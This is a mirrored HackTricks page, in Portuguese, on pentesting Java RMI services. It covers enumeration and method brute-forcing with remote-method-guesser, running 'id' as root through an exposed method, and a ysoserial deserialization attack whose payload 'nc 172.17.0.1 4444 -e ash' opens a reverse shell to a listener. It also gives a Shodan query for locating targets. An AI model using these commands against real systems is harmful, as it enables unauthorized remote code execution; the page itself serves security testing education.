Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-24 20:13:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

335 lines
19 KiB
Markdown
Raw Blame History

# 1098/1099/1050 - Teste de invasão Java RMI - RMI-IIOP
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Informações Básicas
_A Invocação de Método Remoto Java_, ou _Java RMI_, é um mecanismo de _RPC_ orientado a objetos que permite que um objeto localizado em uma _máquina virtual Java_ chame métodos em um objeto localizado em outra _máquina virtual Java_. Isso permite que os desenvolvedores escrevam aplicativos distribuídos usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada nesta [palestra da blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
**Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Normalmente, apenas os componentes padrão do _Java RMI_ (o _RMI Registry_ e o _Activation System_) estão vinculados a portas comuns. Os _objetos remotos_ que implementam a aplicação _RMI_ real geralmente são vinculados a portas aleatórias, conforme mostrado na saída acima.
O _nmap_ às vezes tem dificuldades para identificar serviços _RMI_ protegidos por _SSL_. Se você encontrar um serviço _SSL_ desconhecido em uma porta _RMI_ comum, você deve investigar mais a fundo.
## Componentes RMI
Em termos simples, o _Java RMI_ permite que um desenvolvedor torne um _objeto Java_ disponível na rede. Isso abre uma porta _TCP_ onde os clientes podem se conectar e chamar métodos no objeto correspondente. Apesar de parecer simples, existem vários desafios que o _Java RMI_ precisa resolver:
1. Para despachar uma chamada de método via _Java RMI_, os clientes precisam saber o endereço IP, a porta de escuta, a classe ou interface implementada e o `ObjID` do objeto alvo (o `ObjID` é um identificador único e aleatório que é criado quando o objeto é disponibilizado na rede. É necessário porque o _Java RMI_ permite que vários objetos escutem na mesma porta _TCP_).
2. Clientes remotos podem alocar recursos no servidor invocando métodos no objeto exposto. A _máquina virtual Java_ precisa rastrear quais desses recursos ainda estão em uso e quais deles podem ser coletados pelo coletor de lixo.
O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomes para o _Java RMI_. O _RMI registry_ em si também é um serviço _RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente.
Quando os desenvolvedores desejam disponibilizar seus _objetos Java_ na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e o disponibiliza sob um nome legível (o _nome vinculado_). Os clientes que desejam consumir o serviço _RMI_ solicitam ao _RMI registry_ o _nome vinculado_ correspondente e o registro retorna todas as informações necessárias para se conectar. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. O exemplo a seguir mostra um pequeno exemplo:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
O segundo dos desafios mencionados é resolvido pelo _Coletor de Lixo Distribuído_ (_DGC_). Este é outro serviço _RMI_ com um valor `ObjID` bem conhecido e está disponível em praticamente cada ponto final _RMI_. Quando um cliente _RMI_ começa a usar um serviço _RMI_, ele envia uma informação para o _DGC_ de que o objeto remoto correspondente está em uso. O _DGC_ pode então rastrear a contagem de referência e é capaz de limpar objetos não utilizados.
Juntamente com o _Sistema de Ativação_ obsoleto, estes são os três componentes padrão do _Java RMI_:
1. O _Registro RMI_ (`ObjID = 0`)
2. O _Sistema de Ativação_ (`ObjID = 1`)
3. O _Coletor de Lixo Distribuído_ (`ObjID = 2`)
Os componentes padrão do _Java RMI_ são vetores de ataque conhecidos há bastante tempo e múltiplas vulnerabilidades existem em versões desatualizadas do _Java_. Do ponto de vista de um atacante, esses componentes padrão são interessantes, porque eles implementaram classes/interfaces conhecidas e é facilmente possível interagir com eles. Esta situação é diferente para serviços _RMI_ personalizados. Para chamar um método em um objeto remoto, é necessário conhecer a assinatura do método correspondente antecipadamente. Sem conhecer uma assinatura de método existente, não há como se comunicar com um serviço _RMI_.
## Enumeração RMI
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) é um scanner de vulnerabilidades _Java RMI_ capaz de identificar automaticamente vulnerabilidades _RMI_ comuns. Sempre que identificar um ponto final _RMI_, você deve tentar:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
A saída da ação de enumeração é explicada com mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas.
Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Bruteforcing de Métodos Remotos
Mesmo quando não foram identificadas vulnerabilidades durante a enumeração, os serviços _RMI_ disponíveis ainda podem expor funções perigosas. Além disso, apesar de a comunicação _RMI_ com componentes padrão _RMI_ ser protegida por filtros de desserialização, ao interagir com serviços _RMI_ personalizados, tais filtros geralmente não estão em vigor. Conhecer as assinaturas de métodos válidos em serviços _RMI_ é, portanto, valioso.
Infelizmente, o _Java RMI_ não suporta a enumeração de métodos em _objetos remotos_. Dito isso, é possível fazer força bruta nas assinaturas de métodos com ferramentas como [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ou [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Métodos identificados podem ser chamados assim:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
Ou você pode realizar ataques de desserialização assim:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Mais informações podem ser encontradas nestes artigos:
* [Atacando serviços Java RMI após JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [Adivinhação de Método](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
Além de adivinhar, você também deve procurar em mecanismos de busca ou no _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _nome vinculado_ e o nome da classe ou interface implementada podem ser úteis aqui.
## Interfaces Conhecidas
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marca classes ou interfaces como `conhecidas` se estiverem listadas no banco de dados interno de serviços _RMI_ conhecidos da ferramenta. Nestes casos, você pode usar a ação `conhecida` para obter mais informações sobre o serviço _RMI_ correspondente:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
```
## Shodan
* `port:1099 java`
## Ferramentas
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://github.com/BishopFox/rmiscout)
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Referências
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## Comandos Automáticos do HackTricks
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Reference in a new issue View git blame Copy permalink